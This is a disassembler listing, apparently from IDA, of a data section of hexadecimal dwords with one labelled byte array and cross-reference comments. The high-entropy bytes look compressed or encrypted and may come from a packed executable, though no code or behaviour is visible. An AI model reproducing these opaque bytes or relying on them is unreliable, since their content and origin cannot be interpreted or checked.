		dd 4148079Ah, 6879246Ah, 0E64A0348h, 0D2E85209h, 820020DCh
		dd 0E10B5C63h, 2C28D5F3h, 6FB422h, 7F835A79h, 0DD07FD2Bh
		dd 63B6325Bh, 0BB770C70h, 56EE97h, 3A6213Dh, 3CAF1D79h
		dd 95A04F01h, 6BD1BDD5h, 0A88BDCh, 0D88AD36Ah, 92266038h
		dd 792ECD00h, 42DA9384h, 0FC3200BCh, 5701F00Ah,	0A7007E45h
		dd 593CCA16h, 47F205h, 0D49D630Bh, 0EF75D793h, 861C1902h
		dd 412FF907h, 0BE00AEEh, 0ADE4BDh, 0B77276E6h, 38FBB373h
		dd 0C81F0707h, 0F530A2C3h, 0EBB8ABh, 0DC53AA32h, 42A84302h
		dd 9499600h, 0F69A847Eh, 3F20E98Bh, 6FD330B7h, 2845B930h
		dd 34892A00h, 8C0AF9F7h, 3E96035Eh, 0D1F410B0h,	5FEA2801h
		dd 404A84D7h, 0F796C0F3h, 0BD1A0F18h, 0F5C06C1Bh, 95C3703Ah
		dd 0A9FB0F00h, 8C37336Bh, 0DCFD4CC2h, 4C4B3B00h, 0B72AF842h
		dd 206B9607h, 0E013129Dh, 8D724CF0h, 18E91Eh, 0A1A9EC56h
		dd 450A88ADh, 9C40AF1Ah, 6CA4B300h, 0FB004A3h, 0D1341C5Ch
		dd 92B816C0h, 0ED00247Bh, 0F670DADCh, 3BE9AD9h,	791F0459h
		dd 2CA00953h, 4A00583Ah, 5AE838A7h, 0C32EE3Bh, 592BAD8Dh
		dd 9D00C818h, 614CFE70h, 1ED61A2Ah, 6EF8D738h, 0A6AB001Fh
		dd 0A7C9AEE3h, 0DC13D900h, 82B7636Ch, 9BD02E9Dh, 0A04200CEh
		dd 0C8B2C90h, 0C9C45200h, 7D8F7A4Eh, 0CD950041h, 0D35B1233h
		dd 0CA00589Ch, 3BE139A7h, 0F8DFF99h, 5772532Dh,	74008C8Fh
		dd 0DC56AFE8h, 8869F300h, 4275E0FEh, 0ABA90079h, 0F616016Eh
		dd 0F013725h, 9C488395h, 1AF01B5Dh, 0F03D7CF8h,	5E311EE4h
		dd 0E5C5C0F0h, 35BDABE8h, 0C9B10400h, 5544C636h, 0D7FD1F09h
		dd 2FF3402Dh, 0A85B3A0Ch, 32577300h, 56C299ACh,	0B75F0062h
		dd 589217DBh, 0A81C6846h, 0C7C785A7h, 0E617034h, 1EE8E230h
		dd 4DB602A4h, 0E9883608h, 0D8A8C161h, 2800640Ch, 83310F77h
		dd 2CF98C2Ah, 3398092h,	6E11F271h, 69B706F8h, 0A7378300h
		dd 2C82E098h, 191A00E8h, 0BD0DD8A0h, 1103472Bh,	0CCE29E6Bh
		dd 0BE90E797h, 7617FBBh, 0FA1DA68Dh, 930F90A4h,	0F70085F4h
		dd 0DF1911B0h, 40B12Ah,	9F95310Eh, 4A81A67Fh, 4BE390C1h
		dd 0E0DA083Ah, 70970EE1h, 603EE8CCh, 0C44320B4h, 0F900A039h
		dd 252C3B4Dh, 0F4B86854h, 0E9F817E5h, 92DA006Eh, 0A81DBB6Ch
		dd 0A1629506h, 1C70B245h, 8FF6DF91h, 0A2C1EA7Ch, 0D09AD656h
		dd 20C09F92h, 0DEFEA6C7h, 0DD460377h, 45F56B97h, 1983A800h
		dd 0BC879A4Ch, 682F001Dh, 1C160339h, 1718799Eh,	0B771A6E9h
		dd 0F1431EEDh, 51E30E9Bh, 7FDF3280h, 7E004238h,	0AB09196Dh
		dd 1C33F1F8h, 47D89A74h, 806F16FCh, 820C438Eh, 5BFDDA0Bh
		dd 776A8026h, 63FE73h, 453CD0E5h, 2A26BB4h, 7587F600h
		dd 1D39CD81h, 16300ADh,	0DF2D4E8Dh, 9200E848h, 35C3A819h
		dd 5CD5C877h, 950EEE30h, 3460A6A0h, 0DDB17D90h,	60FF7A2Eh
		dd 92842B00h, 875683h, 0DA8C6B22h, 89EB086Fh, 70FD4407h
		dd 0CE430E58h, 6C20008Fh, 3F651CD4h, 71044E9Eh,	3E4B25DFh
		dd 0AF89B080h, 548B009Ah, 597E5283h, 0D7792893h, 7AC81900h
		dd 39C2B22Fh, 0BFFF3BF8h, 0AC6AFB07h, 0DA654027h, 460084F0h
		dd 78C960E0h, 0C1F828DFh, 65FEA220h, 7D50E0E4h,	0F71E800h
		dd 5F0890F2h, 0E7480023h, 0A325E033h, 0C5337F58h, 10ACA886h
		dd 0C0535968h, 0F04BA7B5h, 224443D4h, 0EEC0002Bh, 460ED501h
		dd 0BDE2A71Fh, 0BF154400h, 633D8093h, 9823505Eh, 44018C98h
		dd 5972F49h, 280AFFE3h,	5590C042h, 0FBDA85Ch, 0A7B06752h
		dd 0A0BEF49Eh, 60953A3Fh, 5F9F3071h, 4D9C8D61h,	0FD59144h
		dd 50C75E1Ch, 0B146FDC8h, 0BF090081h, 0B985A56Fh, 29F05AE7h
		dd 934860D8h, 26753060h, 86C43410h, 0C02E501h, 469066E9h
		dd 68A7D4h, 0EDB3FA2Dh,	502E7247h, 52034471h, 93D3E03h
		dd 0FCCF8884h, 0DAA500C4h, 0D22F9AB1h, 0DD000462h, 911AA0DBh
		dd 0C0A4BB05h, 0AD73D618h
		dd 0FC0FE2DCh, 9C9EA126h, 0B99D79C3h, 0D439E1B4h, 0A051D4h
		dd 37E07B2h, 0FDAD7588h, 246C931Dh, 0FF363541h,	88782A4h
		dd 0B077DFD8h, 0B66DEFDDh, 9B9CB000h, 0FAD360AAh, 800D5AA9h
		dd 1AA30124h, 6EEC858h,	0B29DA4E3h, 0F641E838h,	799A72FFh
		dd 8FC70FA1h, 79384B59h, 0E80028B2h, 0CD9FAFD0h, 185F9D7Fh
		dd 50FCBEEDh, 0B90711D1h, 0A8F30643h, 6E73D480h, 886400CDh
		dd 0F1A28778h, 37000D2Eh, 28300A8Dh, 1FE5EDh, 0A6C90161h
		dd 651BD114h, 0D411B313h, 0BB5CB200h, 0E19D5E2h, 0AB9C200Dh
		dd 94FC5DC0h, 0E600E996h, 990F36B0h, 1FECED3h, 36B673Dh
		dd 0F5BD7C83h, 0C68C70FDh, 0F9CC4C0Bh, 0DA50009Bh, 0E13C98h
		dd 22B83699h, 0A8402CF3h, 0A7195800h, 1345FFBFh, 69AE0F4Bh
		dd 0BAE03642h, 7017E5B1h, 77305D71h, 0FBEE3831h, 0F31F006Fh
		dd 2507528Dh, 0C5007812h, 8BB3D313h, 0E811FAD6h, 0D909001Eh
		dd 0EF7722EEh, 0FD00F157h, 0E20BD7E1h, 0E0DF15h, 0A6496DF7h
		dd 3697BC48h, 0A556B306h, 6839AAh, 0D4EA6E54h, 0F355F264h
		dd 8C127D00h, 2A21E4E6h, 0F4A79C7h, 390F9CD8h, 0F6B7EA80h
		dd 1F00B9E3h, 0E7B8A724h, 3ED44C8h, 22B3D2E2h, 0F900236Ch
		dd 0F16E496Bh, 0DF2807h, 29E6D5EAh, 0B45C61FAh,	46B97000h
		dd 6BEDA6AEh, 0F6F02D23h, 53F45181h, 0CC6D712Fh, 85399486h
		dd 0B04E05C0h, 80BAA55Ah, 0C512C2ABh, 4A0E217Ah, 0FF04E516h
		dd 408D3506h, 0E030018h, 96DE23C9h, 2C0EE6CCh, 20ACFB63h
		dd 785006D5h, 0D1C01F32h, 9C794025h, 0A8F968F8h, 0C9295D07h
		dd 0DDF00905h, 0CDBE3Ch, 6ED4C3C7h, 0B5812A4Fh,	0AD024E0Eh
		dd 0ED2780CAh, 163C7D0h, 7ADC6B54h, 7092D38Bh, 7901338Ah
		dd 0F96E82F8h, 48B1DE70h, 0CDAE158h, 1549986Bh,	2CEDA8EBh
		dd 86213B30h, 3F0717FDh, 95773CFFh, 8C55EF70h, 8B7EEBh
		dd 0F075CF68h, 63E55F87h, 4313F97Ch, 0C2E8ECA6h, 0DF17B600h
		dd 0A10CF6CDh, 11E58B00h, 8978CC8Eh, 82650054h,	0F056197Ah
		dd 4500A6F4h, 0F902FE01h, 1DE6D61h, 8CD880ADh, 0F8D3481Fh
		dd 0BF00F14Dh, 0EDCF87E2h, 147290B6h, 0B84298ECh, 621F50h
		dd 66123E76h, 0B2C47929h, 68E38A07h, 0D5500DF1h, 0EE0C78h
		dd 0F77DCC93h, 6FE00F69h, 0CADA9D00h, 77F63788h, 89D007D8h
		dd 47949E87h, 0F0CCF17Ah, 995AD0BFh, 0B455B51Eh, 7ADE0C0h
		dd 3C4945C6h, 0D48F7854h, 0CAA01756h, 16B02D6Fh, 0BB439C00h
		dd 39AFE257h, 722C00D2h, 63A522A4h, 5901709Dh, 8966219h
		dd 30D4ABE9h, 986D0FD4h, 4C209931h, 9C42CAEDh, 0E8DDDE00h
		dd 82F76107h, 695106A7h, 1A582964h, 0C9918300h,	5B6D9B3Dh
		dd 764B901Fh, 0B86B0795h, 90660F0Eh, 9A6D036h, 0CC7DCB74h
		dd 5255351Fh, 0C77900BEh, 21297C9Eh, 18F64Ah, 16AFD3Dh
		dd 0F86FFC24h, 3A73A500h, 2C8B1048h, 0C8C900C3h, 993465B5h
		dd 0C10F8CE0h, 1466D236h, 0F3000F9h, 0E739CF8Bh, 2A7C64h
		dd 0B4185BE2h, 0C5B9A6FAh, 7DD1738h, 3FAA8B9Dh,	0B1687F70h
		dd 122B3A4Ah, 29D9A203h, 0CBC061D3h, 0A00005B6h, 8AE75707h
		dd 0FFE51Eh, 42B98F94h,	52346106h, 0F9F1AA00h, 9F747CC7h
		dd 1BDC00C8h, 67A46B79h, 0DA5B61ABh, 2E0035FCh,	0F37B2D40h
		dd 31FAE18Bh, 1363EE00h, 0FEDE3048h, 75920087h,	0AAFAE634h
		dd 8EEA44D2h, 0AB94020Eh, 20C34F86h, 99B3EBE7h,	0E3F0081h
		dd 3AE2FE92h, 6EE8BAF6h, 8515FF00h, 56EFD24Bh, 2CA20095h
		dd 0C89A7A59h, 927A084Dh, 0F25D571Dh, 0EBA68EFFh, 0E81C213Bh
		dd 20872047h, 80A31897h, 7B9B6ADCh, 4814AF00h, 9AA0F6A5h
		dd 57B20047h, 0AD3C4F08h, 0B7007CD5h, 0E62F6016h, 39A55284h
		dd 800341BFh, 0CE09FC1Dh, 82623000h, 9C06E69Bh,	0EE3F0075h
		dd 50C4B57Fh, 0F318E5FAh, 8108358Ch, 0DF20DC4Ch, 849E4E31h
		dd 64A9067h, 920079A2h,	0AA1EF226h, 8CFC1Ah, 0EBE2C193h
		dd 0D858CEFBh, 158F2D40h, 38E7728Dh, 0DBB40470h, 32E8D3DEh
		dd 34EB2015h, 4600ADFAh, 2EAA8677h, 2FC1F9Bh, 8BCE2DB5h
		dd 0A481A3AEh, 8C72438h, 283AF6E5h, 84A006F8h, 0BBD84CA4h
		dd 30359200h, 261647B7h, 4C432128h, 0D1B87A00h,	46C25EE0h
		dd 9D18009Eh, 4F5A07F3h, 240FD01Dh, 2158F0DDh, 278F8ED4h
		dd 0DCC9C8h, 79AC902Ch,	9D7DD1E5h, 0BFC0AD00h, 84EC406Eh
		dd 1CD8006Fh, 6ABC853Bh, 0F300C1F0h, 83BB387Fh,	74A87CC6h
		dd 0E6B8CBh, 8B6F952Eh,	0AA9A2618h, 6478B300h, 4AC8556Eh
		dd 0ACCA0184h, 46FF5EA8h, 0E051C10Dh, 0BB040FD2h, 2A0867Dh
		dd 5D0A0E80h, 98631F4Dh, 0BF99C387h, 10002419h,	18E3480Dh
		dd 3F1D9A2Fh, 678739B0h, 3EED978Ah, 27CB24C0h, 5B070BF8h
		dd 6CC8C440h, 374675D0h, 0D9930038h, 0F2609701h, 9800ADD1h
		dd 3B212AF7h, 3A4020C4h, 0EC93411Bh, 244D18E0h,	0DD0001A4h
		dd 0E7EF3D3Ah, 114CCFAh, 0A12F75C8h, 0C0176623h, 0DA0D46FCh
		dd 90B3BD2Eh, 59EDF0h, 0DEC8E39Ch, 0C672B56Ah, 0A3423203h
		dd 98745B0Ch, 7CFF1634h, 8C82015Ch, 0DA3A0D9Bh,	2079D118h
		dd 0F1C01A3Bh, 0B014FBFEh, 1E4B0708h, 0C0254112h, 0FD343ECFh
		dd 38A860C2h, 442C8419h, 0C65D3580h, 0C198ECCEh, 24F1C59h
		dd 35EE8C3h, 0FF86544h,	1E3353C1h, 4723AF64h, 0D75088F0h
		dd 84A1CCA8h, 9E056819h, 99F97AB0h, 6F33410h, 384258C2h
		dd 0B11C2266h, 9A1EA880h, 59C35B0Dh, 3ECB62D0h,	847CB0B0h
		dd 28A70F20h, 0B02CE046h, 0CAE31F25h, 2CBA14CEh, 0ADECBC00h
		dd 42461E51h, 5FF92545h, 0FC80F116h, 5049F886h,	36690018h
		dd 0E9DF89D4h, 4C7D0019h, 0FF280388h, 0B8002ED9h, 29B558E1h
		dd 4318A5h, 0BEC301CAh,	34BA6264h, 484E2331h, 0FAC77AA2h
		dd 91E1E09Eh, 0BFFA01D7h, 0EC15F63Ch, 0DC80DF22h, 64004E73h
		dd 8C79FD4h, 0FE585A8Fh, 0A4D4A001h, 2E73F613h,	1D4D86Ch
		dd 56314024h, 0FDA9804Ah, 0EB3B05E0h, 59B43F32h, 0E8AB5780h
		dd 0D75F1D6Bh, 7B2880E5h, 0B9AA9CDBh, 216FC33h,	824169A6h
		dd 0EC60FC81h, 9D24B30Bh, 40001492h, 0B7A5530Ch, 0C9900679h
		dd 49CC7A1Dh, 0B8E66D0Ah, 0B0019897h, 0C3F30A9Dh, 5CAC8FCh
		dd 0C637AFE0h, 46A84043h, 0C031DCE9h, 0C2FF3403h, 8D75F804h
		dd 0F0859FC0h, 0FA090062h, 0C6341068h, 82003BB9h, 5475872Ch
		dd 4C5C22D4h, 0D50127FFh, 47A71C39h, 632C200Eh,	0F83A68F8h
		dd 5474BC43h, 7100F084h, 0C3B6E94Fh, 2A9A61Ah, 3077B9FCh
		dd 0A5E034A4h, 0AA00CCE7h, 9ECE18EDh, 518F40h, 0DF534577h
		dd 0AE7C3A34h, 7D5C55F4h, 0F4310018h, 44A33822h, 0B27910h
		dd 84DEEDEFh, 43D7597Ch, 0E5033403h, 0D83AC337h, 0B2133E7h
		dd 0D740ACFh, 8C120480h, 0CA00F8C5h, 0D82ADE43h, 0E43A28h
		dd 0BED32172h, 0B8392940h, 1C4B0C0Fh, 0A807002Fh, 0FC2A42h
		dd 0F783D9F8h, 1DDDE8D0h, 97820900h, 0D3E45415h, 479D3E28h
		dd 1491A680h, 2AD1C64Ch, 1102F67Eh, 0A4AA6034h,	0D3D540D4h
		dd 76777Eh, 415F4240h, 0B39ADE1h, 359F8607h, 21A24F77h
		dd 131640FDh, 0F59E0140h, 0AF996DB7h, 1126F09Ch, 69A47403h
		dd 0D088C255h, 5843E720h, 773D5A0Fh, 1D72201h, 0F45998E2h
		dd 1500765Fh, 0F3CB5725h, 4296B4h, 6B014753h, 4C6EB716h
		dd 0CF26BB0h, 3F8B9700h, 748CF62Bh, 57EB00DEh, 0B5E06FCFh
		dd 730B86Eh, 184828FDh,	22F3F450h, 9F0173E8h, 6EB44AF6h
		dd 51833534h, 326433E6h
		dd 851094EAh, 283F633Ah, 511804A0h
		db 0ADh
byte_530055	db 69h,	79h, 0D0h	; DATA XREF: ___:off_43D314o
					; ___:off_43D32Co
		dd 0F27D06F7h, 29398657h, 51325C37h, 0BA83E01Fh, 6112BCF5h
		dd 2D5D287Ch, 0C8C8947Eh, 75317828h, 8AD87865h,	494F9510h
		dd 0C6300480h, 29873851h, 613CC450h, 0B0C997E7h, 5647E200h
		dd 44B3609h, 8F33157Ch,	6801FF34h, 0DB1DD44Ah, 68EC0DEh
		dd 8EA4007Ch, 0A11BABC3h, 16092E44h, 16EFC3Ah, 875CCE85h
		dd 0A4FDDCh, 0D903C2D3h, 7FEBEA82h, 0B4A36D1Fh,	0F1832580h
		dd 2BC6Ah, 0A10CF87Ch, 0F638B54Eh, 80C63E39h, 6D943028h
		dd 0E96122h, 0F7100F69h, 0F2E846E5h, 450E180Fh,	88E0C0FEh
		dd 1C419E64h, 5DE56970h, 4DEC4053h, 0C8F0A08Ch,	57A7B000h
		dd 0FB8997Bh, 86B5000Ch, 0D14DBEA4h, 7F00139Fh,	6FE8D520h
		dd 0FCCF565Ah, 3C6D1C44h, 0D494072Fh, 411CA023h, 5B005318h
		dd 0AB7BDF68h, 217710h,	664630Bh, 43448AEBh, 8C167300h
		dd 0A4CDBD18h, 0FA20003h, 15C7EA36h, 7B3DF888h,	74EDCFCh
		dd 12ED25D6h, 973EB1C0h, 771300E3h, 7E1F9262h, 890060E5h
		dd 2C27982Dh, 51EFB068h, 49D59472h, 0FAAD05F4h,	0D1CB0132h
		dd 5086C221h, 0DF22C051h, 0D468FE00h, 1CA1CD11h, 4A2F00D3h
		dd 330E930Fh, 2500A484h, 197D4DDh, 1F990Bh, 1240855Bh
		dd 618CA339h, 34682D2Eh, 4DDC1300h, 1DF7A04h, 3DC3DD7Fh
		dd 0E15427C5h, 6773C462h, 3ADA8200h, 9792A98Dh,	0F8F40070h
		dd 8BA07135h, 0BB07F71Bh, 9966B9CDh, 0A8D38F33h, 68B256h
		dd 0E60A3EE4h, 0EE5474B0h, 0B87E4F00h, 62B7D5D6h, 6B050093h
		dd 0F49AE22h, 123E98F3h, 54AA0071h, 777EEB4h, 56FF00F2h
		dd 3846E00Eh, 0C13DDB5Ch, 0DD3B30h, 0DED2145Ah,	1A8365Eh
		dd 0AC937245h, 0EDABA682h, 4B24C0F5h, 2DD543Dh,	0D7D05B86h
		dd 53FC80F0h, 39F8E3A0h, 6A008868h, 0A55F1921h,	0F2008F31h
		dd 9AAEE0F7h, 0DAB1EFh,	6BC1FA8Dh, 0EE3BA832h, 0D3724600h
		dd 0AA559E1Fh, 6A35036Fh, 0E92359D0h, 65836B8Bh, 0CAB60480h
		dd 0E79C8600h, 7BCE8142h, 0E2730009h, 3A525607h, 350072D5h
		dd 0BA5F0520h, 4B4FEAh,	0BD55A9CFh, 36E54752h, 0A400D270h
		dd 193D0E46h, 0AC7687h,	785743ADh, 0FF2AB025h, 0B386E800h
		dd 8CC868C6h, 0F6AB3C33h, 0ADE53007h, 0B61461FCh, 0AA7060D6h
		dd 87C9F13Fh, 68925904h, 1ABB38D0h, 4DE81FA9h, 0AFC500F2h
		dd 3546D72Fh, 509FEE00h, 0B5962C56h, 0ECF200A6h, 6937BE0Bh
		dd 0C91D7A8Fh, 80C54261h, 0A4016779h, 0F0384424h, 24B6B120h
		dd 54EC9h, 6CC8FCEBh, 0DE008349h, 22DF1A90h, 9EB221h, 0C9F530E4h
		dd 0E8C541C2h, 24DCD860h, 1EB1513Bh, 80E3AB78h,	0BB5FF058h
		dd 0D5B88C54h, 224A1C00h, 0A3F3B0D6h, 5941006Fh, 858FB295h
		dd 6309080Eh, 9A7B39Fh,	990C8053h, 0F08AC04Dh, 266F0473h
		dd 0C0D2B7FAh, 27F95D67h, 20EBF00h, 4029DF71h, 0FE1FE05Eh
		dd 0A1EB3CA6h, 6AF272h,	5BE3D091h, 0D6DF165Ah, 0BF3B60E8h
		dd 427A8343h, 0B83D0DF2h, 494DCF6Dh, 710080F5h,	863C0621h
		dd 0F9008273h, 0BDB1855Fh, 619A77h, 0C1D55202h,	9919DD34h
		dd 0CB26F202h, 0E0B15D12h, 130FC345h, 1422F0C7h, 127E84A0h
		dd 404CE2CCh, 0D874FC5Ch, 0F70E9D6Fh, 8B86B70Ch, 0E49C8014h
		dd 0A0E96009h, 2012F95h, 0A0438AB0h, 344017E7h,	0FA008F51h
		dd 7F56C761h, 33F483Ch,	0B1D59D26h, 538F3124h, 10908DFFh
		dd 0FD18D2DBh, 1F106B21h, 0D9A4076Eh, 704A67F1h, 6C708119h
		dd 165DD3Dh, 0FA4F075Ch, 0B0315923h, 8145A6ECh,	263BE8A1h
		dd 405CE5F2h, 2CD20362h, 0A09E77F4h, 3A3E8ABAh,	0A2806CD5h
		dd 9F1A13B2h, 0BDE07BCDh, 8052C23Ch, 0F1CB6388h, 7039F2h
		dd 1568C78h, 7AB1C32Bh,	8373001h, 5E47C1C7h, 2A7430h, 8A1465E3h
		dd 6953E755h, 0F121B000h, 12A103D5h, 2F87000Ah,	0F3B3D6C8h
		dd 0D3008443h, 0EC50D753h, 0E4E6CCD1h, 445B0097h, 0DF78DA2Ah
		dd 5300ADFAh, 0F51522ABh, 0CFE805h, 0DA32D6CCh,	7E5478BEh
		dd 9F1C790Eh, 81E70F55h, 690F647Fh, 435DD8h, 0A30477C3h
		dd 0D78D9C34h, 0F1AC9E17h, 2B108200h, 3DEF32A9h, 1D808C80h
		dd 69D5B421h, 2007FE6h,	79F4BBE9h, 588C6245h, 1D07D11Ch
		dd 80F80D4Ch, 0C6FD192Dh, 153D230Eh, 0DC011279h, 93B9313Ah
		dd 737B5D8h, 0CD3C19BAh, 42F9B2DEh, 235BC460h, 3E2AA00h
		dd 452E0EEDh, 7EF273E1h, 1EEFA80h, 24CED535h, 0C8FEFF7Bh
		dd 0BB00917Dh, 0E022F13Ah, 2BAEA0h, 8093F653h, 24B8CDBh
		dd 185C3C00h, 0EA1687DCh, 0E3B9000Dh, 0E8BF5360h, 0A80108CAh
		dd 0E24CF3FCh, 120FA1Eh, 6DAE0041h, 4B945E9Fh, 0B800A44Ah
		dd 73F24452h, 4CECB5h, 9132A35h, 0CF5AD557h, 0CA0E9D72h
		dd 0C0F91E07h, 21BA5BEFh, 3882036h, 28631700h, 0DB5F677Bh
		dd 0B25907F3h, 9F1381ECh, 974C4300h, 0B073BD46h, 0C8188875h
		dd 0A2E49B89h, 0E1300D7h, 2A39FCF8h, 0B9005A48h, 71959DF4h
		dd 790B992Eh, 0D5EA1E57h, 7500FDF1h, 0DA80E60h,	0C877900Fh
		dd 0AF184000h, 0C038E02Bh, 0BCEB4C72h, 0C95D6F04h, 5E3DC1ACh
		dd 0AF0B6063h, 8E8BF000h, 0F73EE5E2h, 7EB024h, 8D1B3B49h
		dd 0C53FA4CAh, 0E85074FBh, 86931D00h, 7F71C45h,	9BBB00B9h
		dd 0EA341B1Ah, 12E889EEh, 0C0A0A800h, 67512E5Eh, 73C20B14h
		dd 908BFFB3h, 8389FE00h, 0E10E785Fh, 80DE7A1Ah,	2AA356Ah
		dd 30E0246Bh, 3DE2CDCh,	48ED3760h, 46657AC0h, 41329913h
		dd 0C0345100h, 75F0D357h, 8BF600ADh, 854E3D6Ah,	0C5137D56h
		dd 84007CDBh, 0C6573FACh, 6FF101DFh, 72FED8A2h,	18CEF660h
		dd 0B87FCE02h, 80310FC0h, 0B0FF48B4h, 3CA70062h, 18E8C322h
		dd 9100F20Eh, 0AD4DB94Bh, 420DB6h, 832F0D6h, 92F1A106h
		dd 0D8CE6F0Eh, 9405924Eh, 53C08A85h, 33C5FBh, 83CFDF01h
		dd 1C0B5BF7h, 736B2A03h, 0E0F8127Bh, 2CCA90h, 4439BF11h
		dd 42F1F9D0h, 859E5700h, 5552717Dh, 5CE6001Fh, 0EC610D5Dh
		dd 7A0438DBh, 41C51B9Bh, 0F03DEC90h, 0A3373F8Ah, 4DED9A00h
		dd 588D0D54h, 8468810Fh, 9B070785h, 0E037AAB2h,	6BAEE8h
		dd 13F0F85Dh, 3E473A72h, 0C9D71800h, 2D240D30h,	1FBF0284h
		dd 0D4599056h, 475CE2h,	44E51570h, 0F009EA8h, 0EC6DCBC2h
		dd 7C27B343h, 8422009Ch, 0AAD5F364h, 3400827Bh,	0B367B23Eh
		dd 88B057h, 0FAF29625h,	0C9DC558Ch, 0CDC16600h,	58B72223h
		dd 0E00D3E9Eh, 0ACEE4304h, 1168905Ch, 860065FAh, 0C4C6D07Ah
		dd 0BDA7BB1Bh, 240012F8h, 6ED48CD9h, 0E6F5B2h, 4293D294h
		dd 0AE1B79BCh, 2E995D00h, 0A46F71E1h, 0DF3603B3h, 7FCF01D0h
		dd 9DAA2DD8h, 3FC09B00h, 9C60153Ch, 5BE004Fh, 0AB39638Eh
		dd 330E8699h, 92980C72h, 7353AA00h, 2ED3465h, 8470F211h
		dd 6DC3ABC7h, 9BB854A0h, 0A91C420Fh, 0F47E8075h, 53D0FEh
		dd 6C2F81CFh, 0C6A14CC0h, 57FF8403h, 98800D67h,	0DF11E9h
		dd 0C5AEED87h, 0E7CE9FC7h, 0A7A12F00h, 4ED089FAh, 0C1D9380Ch
		dd 2D6C9981h, 0F065969Ah, 0BD00F8ACh, 0E95344EDh, 1311BE40h
		dd 1D1E048h, 51769B5h, 3230301Ah, 4FD49A00h, 0E7E15837h
		dd 0B08C0085h, 0BE3A4097h, 0B5007D62h, 82BA2715h, 75E567h
		dd 0B6307EF5h, 31F65E33h, 74048h, 0B2D04E85h, 0F1D168h
		dd 5467DC7Eh, 0DEB6470Bh, 301D69F2h, 0C080A62Fh, 9B5341CEh
		dd 4AF8C3h, 9749C143h, 25A798BBh, 4D001B77h, 0E4ED11A3h
		dd 2FC7FF1h, 628E5814h,	0CF6070DCh, 6400DFBFh, 9AB75C47h
		dd 509B1Ch, 2F446C1Fh, 7E6105C2h, 0FE98BE50h, 0A837D524h
		dd 21DF0038h, 0FA060F2Eh, 966901DAh, 107944FDh,	806CC87Ah
		dd 0F6AA9000h, 0CE6D0D46h, 0A58B2876h, 0C3D000B0h, 36C7C66h
		dd 6000D14Eh, 52A4CEECh, 1793706h, 59812D8Eh, 7041B561h
		dd 46008C80h, 0B610DF73h, 0EEA5AC7Fh, 7B1B0318h, 0A8164AD9h
		dd 38709780h, 107C5A03h, 81F56E78h, 0FE8154B0h,	62B1BB1Ah
		dd 210DCCC5h, 92E97301h, 0DD7780F0h, 2C2DC6F4h,	7AB76ACh
		dd 125007FDh, 2A404015h, 314B875Fh, 0B196C7Ch, 6C4F9ADAh
		dd 117A1A00h, 470279B4h, 0BCE6272Ah, 0CA186002h, 77C000B7h
		dd 0A3DE1D9Ch, 0B400BA31h, 0ED9F995Eh, 1E6A7DB9h, 400CF871h
		dd 6D870A8h, 0D9182ACEh, 0DB18CCB3h, 0B7BD0062h, 5C631EFAh
		dd 153DC189h, 0B3810098h, 0FFC43DD8h, 0A3C5003Ah, 0F0C09174h
		dd 9FEE456Eh, 9820F200h, 966CD9BEh, 0EAF300DCh,	0C3388FC5h
		dd 697658E1h, 1EB9B10Fh, 53090034h, 2E8BB614h, 7D87CF0h
		dd 0BD85D1h, 49717540h,	4714C000h, 1E6BEA32h, 0DA540026h
		dd 0BDCFA965h, 0B248E13Fh, 0A42200C7h, 46A13A1Ch, 730E00FBh
		dd 6BA45A6h, 0C000C4E8h, 53879C44h, 194C882h, 38199250h
		dd 0F141B791h, 162060FDh, 0E2749C00h, 42215333h, 98641C09h
		dd 6E4C406Dh, 0C0021052h, 0D4FE000h, 59B83DB4h,	0CC6C074Ah
		dd 80B6F650h, 2C340F2Ah, 0BA7030Eh, 1166802Fh, 0D6AA8h
		dd 0B7DBE55Ah, 0F1281651h, 0F3065C00h, 0E7B57F3Fh, 4426004Fh
		dd 775A12A2h, 0B4003C33h, 0B6C20C09h, 1A0CD96h,	0D5C611B2h
		dd 0DD17ED14h, 761080DBh, 13F903FEh, 0ABDE0F9Fh, 0C5224872h
		dd 3C41E0D8h, 0CCD08404h, 7CF27EA4h, 25FDEC00h,	0CA204F3Bh
		dd 0CF0B505h, 0ECC040B3h, 1E867BCDh, 0C0FE28B7h, 0E8D54E10h
		dd 3960ACE1h, 973CF648h, 0FED9A0BEh, 1646FE65h,	10ABF19h
		dd 4168A5A4h, 1C14682Fh, 84805AA2h, 76C3A877h, 2BA32C8Ch
		dd 0D83200D0h, 29F7591Bh, 31E2BE1Eh, 0E90A49h, 76155A60h
		dd 0AF3D00B6h, 8E5BBF3h, 6AE64025h, 0E0318F00h,	1878F8B3h
		dd 0B1C91F82h, 92FA003Dh, 0F2DD23ECh, 21B9F700h, 0D34A1936h
		dd 0FEAB14BBh, 0B602C464h, 563DBCBAh, 0E67178C0h, 0E2904D00h
		dd 0BFB49F0Ah, 838B0093h, 12D435D3h, 0F907680Dh, 3D1FE791h
		dd 0B5F2E6F0h, 2C7414CCh, 411CF4CFh, 0F6EA40D7h, 37338BFFh
		dd 80D56C37h, 52015C30h, 0B8557E77h, 0A47D0290h, 48C6C9DEh
		dd 0CACFA481h, 5F898342h, 0DFD38852h, 3C01F2C0h, 0B879072Ch
		dd 717EF03Ah, 0C8FA3628h, 21136C9Ch, 44000FE9h,	0CF966003h
		dd 0EEDFF065h, 53CA00BFh, 82E1D5E4h, 0E8002BDAh, 0CCAAC3A0h
		dd 59DDEAh, 0F16D3F02h,	0DC41272Ch, 51B6CE00h, 136973A1h
		dd 0A4CF0055h, 433ED03Ah, 0E107CBECh, 57F4A961h, 9A20E230h
		dd 869D003Fh, 3B24588Ch, 1601274Ah, 8FDCE303h, 88B851DAh
		dd 7CC11000h, 0D4EF198Eh, 84F4F327h, 4A0ACC0h, 76AA0011h
		dd 81A38F96h, 0B709F4B5h, 0C066E8E2h, 0BF3B7094h, 6090BD78h
		dd 67753609h, 2B7800DCh, 3B5EF90h, 809403A0h, 747C302Ch
		dd 65D82D06h, 77A95F1h,	0A8EDA7F7h, 43E01FF0h, 0C2FE2ACFh
		dd 4CE14400h, 625BF13Ah, 2FE200A7h, 9778476Bh, 6900DFF2h
		dd 0AAB677AFh, 5E6252h,	341FB12Ah, 821CD66Ah, 390D2400h
		dd 0B221C1DEh, 0CC9600D7h, 0F384AB62h, 0A117BC5Dh, 4D00E074h
		dd 82477C80h, 335C0321h, 816C1AFDh, 0B48038E2h,	0B0A7CC45h
		dd 6800C678h, 498C19A5h, 14E5E57h, 0ACDF0EF3h, 0DD5AD2A4h
		dd 6688D498h, 0E3244B01h, 953B8661h, 1813F03Fh,	5BA00601h
		dd 0F1EFA2E4h, 8BAEC0E6h, 1D92F067h, 806DFC1Ah,	90016340h
